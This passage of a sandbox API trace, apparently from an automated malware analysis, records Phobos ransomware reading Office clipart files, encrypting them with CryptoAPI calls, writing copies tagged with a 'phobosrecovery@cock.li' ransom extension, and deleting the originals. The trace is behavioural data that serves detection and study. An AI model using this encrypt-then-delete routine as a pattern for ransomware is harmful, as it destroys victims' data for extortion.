hTemplateFile=0x0) returned 0x2e0 [0167.991] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0167.991] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0167.991] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0167.992] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1590) returned 1 [0167.992] CryptSetKeyParam (hKey=0x1d1590, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0167.992] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x566, lpOverlapped=0x0) returned 1 [0167.996] CryptEncrypt (in: hKey=0x1d1590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x570, dwBufLen=0x570 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x570) returned 1 [0167.996] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x570, lpOverlapped=0x0) returned 1 [0167.998] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1850) returned 1 [0167.998] CryptSetKeyParam (hKey=0x1d1850, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0167.998] CryptEncrypt (in: hKey=0x1d1850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0167.998] CryptDestroyKey (hKey=0x1d1850) returned 1 [0167.998] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0167.998] CryptDestroyKey (hKey=0x1d1590) returned 1 [0167.998] CloseHandle (hObject=0x2e0) returned 1 [0167.998] CloseHandle (hObject=0x2c4) returned 1 [0167.998] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 1 [0168.000] SetEvent (hEvent=0x298) returned 1 [0168.001] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0168.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0168.001] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=13042) returned 1 [0168.001] CloseHandle (hObject=0x2c4) returned 1 [0168.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x220 [0168.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0168.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0168.002] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0168.002] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0168.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0168.003] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1810) returned 1 [0168.003] CryptSetKeyParam (hKey=0x1d1810, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0168.003] ReadFile (in: hFile=0x2c4, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x32f2, lpOverlapped=0x0) returned 1 [0168.055] CryptEncrypt (in: hKey=0x1d1810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x3300, dwBufLen=0x3300 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x3300) returned 1 [0168.055] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x3300, lpOverlapped=0x0) returned 1 [0168.056] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1a90) returned 1 [0168.057] CryptSetKeyParam (hKey=0x1d1a90, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0168.057] CryptEncrypt (in: hKey=0x1d1a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0168.057] CryptDestroyKey (hKey=0x1d1a90) returned 1 [0168.057] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0168.057] CryptDestroyKey (hKey=0x1d1810) returned 1 [0168.057] CloseHandle (hObject=0x2c4) returned 1 [0168.057] CloseHandle (hObject=0x2e0) returned 1 [0168.057] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 1 [0168.059] SetEvent (hEvent=0x298) returned 1 [0168.059] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0168.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0168.060] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=6958) returned 1 [0168.060] CloseHandle (hObject=0x2e0) returned 1 [0168.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x220 [0168.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0168.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0168.069] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0168.069] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0168.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0168.070] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1950) returned 1 [0168.070] CryptSetKeyParam (hKey=0x1d1950, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0168.070] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x1b2e, lpOverlapped=0x0) returned 1 [0168.085] CryptEncrypt (in: hKey=0x1d1950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x1b30, dwBufLen=0x1b30 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x1b30) returned 1 [0168.086] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x1b30, lpOverlapped=0x0) returned 1 [0168.248] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d16d0) returned 1 [0168.248] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0168.248] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0168.248] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0168.248] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0168.248] CryptDestroyKey (hKey=0x1d1950) returned 1 [0168.248] CloseHandle (hObject=0x2e0) returned 1 [0168.248] CloseHandle (hObject=0x2c4) returned 1 [0168.248] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 1 [0168.250] SetEvent (hEvent=0x298) returned 1 [0168.250] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0168.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0168.250] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=6938) returned 1 [0168.251] CloseHandle (hObject=0x2c4) returned 1 [0168.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 0x220 [0168.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0168.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0168.251] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0168.251] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0168.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0168.252] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d19d0) returned 1 [0168.252] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0168.252] ReadFile (in: hFile=0x2c4, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x1b1a, lpOverlapped=0x0) returned 1 [0168.625] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x1b20, dwBufLen=0x1b20 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x1b20) returned 1 [0168.626] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x1b20, lpOverlapped=0x0) returned 1 [0168.708] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d16d0) returned 1 [0168.708] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0168.708] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0168.708] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0168.708] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0168.708] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0168.708] CloseHandle (hObject=0x2c4) returned 1 [0168.708] CloseHandle (hObject=0x2e0) returned 1 [0168.718] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 1 [0168.739] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0168.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0168.741] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2280) returned 1 [0168.741] CloseHandle (hObject=0x2e8) returned 1 [0168.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 0x220 [0168.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0168.743] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0168.743] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0168.743] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0168.743] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0168.746] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1a50) returned 1 [0168.746] CryptSetKeyParam (hKey=0x1d1a50, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0168.746] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x8e8, lpOverlapped=0x0) returned 1 [0169.304] CryptEncrypt (in: hKey=0x1d1a50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x8f0, dwBufLen=0x8f0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x8f0) returned 1 [0169.304] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x8f0, lpOverlapped=0x0) returned 1 [0169.305] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1710) returned 1 [0169.305] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0169.305] CryptEncrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0169.305] CryptDestroyKey (hKey=0x1d1710) returned 1 [0169.305] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0169.305] CryptDestroyKey (hKey=0x1d1a50) returned 1 [0169.305] CloseHandle (hObject=0x2e0) returned 1 [0169.305] CloseHandle (hObject=0x2c8) returned 1 [0169.305] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 1 [0169.307] SetEvent (hEvent=0x298) returned 1 [0169.307] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0169.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0169.307] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=736) returned 1 [0169.307] CloseHandle (hObject=0x2c8) returned 1 [0169.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 0x220 [0169.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0169.308] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0169.308] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0169.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0169.308] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d17d0) returned 1 [0169.308] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0169.308] ReadFile (in: hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x2e0, lpOverlapped=0x0) returned 1 [0169.622] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x2f0) returned 1 [0169.622] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x2f0, lpOverlapped=0x0) returned 1 [0169.623] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1710) returned 1 [0169.623] CryptSetKeyParam (hKey=0x1d1710, 